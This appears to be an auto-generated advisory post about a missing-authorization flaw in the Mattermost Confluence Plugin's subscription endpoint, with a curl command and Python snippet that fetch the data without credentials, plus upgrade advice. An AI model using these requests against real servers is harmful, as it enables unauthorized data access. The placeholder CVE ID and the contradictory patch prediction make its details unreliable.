Listen to this Post
The CVE-2025-XXXX vulnerability in the Mattermost Confluence Plugin (versions < 1.5.0) stems from improper authorization checks in the API endpoint handling subscription details. The plugin fails to validate user authentication when processing `GET /subscription` requests, allowing unauthenticated attackers to retrieve sensitive subscription data. This occurs due to a missing authentication middleware in the affected endpoint, exposing subscription metadata without requiring valid credentials. The flaw is exploitable by sending a crafted HTTP request to the vulnerable endpoint, bypassing Mattermost’s authentication mechanisms.
DailyCVE Form:
Platform: Mattermost Confluence Plugin
Version: < 1.5.0
Vulnerability: Missing Authorization
Severity: Low
Date: Aug 11, 2025
Prediction: Patch by Sep 2025
What Undercode Say:
curl -X GET http://<target>/api/v1/subscription Exploits unauthenticated endpoint
import requests
response = requests.get("http://<target>/api/v1/subscription")
print(response.text) Leaks subscription data
How Exploit:
- Send unauthenticated GET request to
/api/v1/subscription. - Retrieve exposed subscription details.
Protection from this CVE:
- Upgrade to v1.5.0.
- Implement authentication middleware.
Impact:
- Unauthorized data access.
- Low confidentiality risk.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
